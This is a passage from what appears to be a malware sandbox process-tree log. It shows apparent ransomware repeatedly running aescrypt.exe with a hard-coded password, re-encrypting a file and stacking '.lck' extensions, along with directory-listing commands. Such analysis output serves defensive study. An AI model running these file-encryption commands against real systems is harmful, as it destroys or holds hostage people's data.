                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5148
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1560
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5324
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
